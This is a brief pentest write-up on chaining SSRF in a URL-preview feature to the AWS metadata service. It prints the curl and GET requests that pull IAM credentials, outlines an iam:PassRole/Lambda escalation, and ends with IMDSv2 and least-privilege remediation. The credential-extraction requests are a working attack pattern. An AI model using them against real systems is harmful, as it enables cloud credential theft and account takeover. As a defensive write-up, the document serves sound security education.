Exploiting SSRF in a modern cloud environment

Chaining SSRF with a metadata service misconfiguration to exfiltrate IAM credentials during a pentest.

2 min read

During a recent engagement I found an SSRF vulnerability that looked boring on the surface — internal HTTP request, filtered output, no obvious pivot path. Forty minutes later I had IAM credentials with iam:PassRole. Here’s exactly how it unfolded.

the initial find

The target was a SaaS platform with a “fetch URL for preview” feature. Classic SSRF surface. The first thing I tried was the AWS metadata endpoint:

initial probe
❯ curl 'https://target.example/preview?url=http://169.254.169.254/latest/meta-data/' ami-id ami-launch-index ami-manifest-path block-device-mapping/ hostname iam/ instance-action

No filtering. The iam/ path was right there.

extracting credentials

# Step the path down
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → ec2-instance-role

GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role
# → { AccessKeyId, SecretAccessKey, Token, Expiration }

The role had iam:PassRole attached to it, which meant I could escalate by creating a Lambda with a more privileged role and executing it. Full account takeover from a “low severity” SSRF.

impact chain

  1. SSRF → metadata service (no IMDSv2 enforced)
  2. Metadata service → temporary IAM credentials
  3. Credentials → iam:PassRole + lambda:CreateFunction
  4. Lambda → assume admin role via pass-role escalation

remediation

  • Enforce IMDSv2 on all EC2 instances (HttpTokens: required)
  • Filter SSRF targets server-side with an allowlist, not a blocklist
  • Scope instance profiles to least-privilege — iam:PassRole should almost never be on an instance profile

The fix here is IMDSv2. One config change and the entire chain collapses at step 1.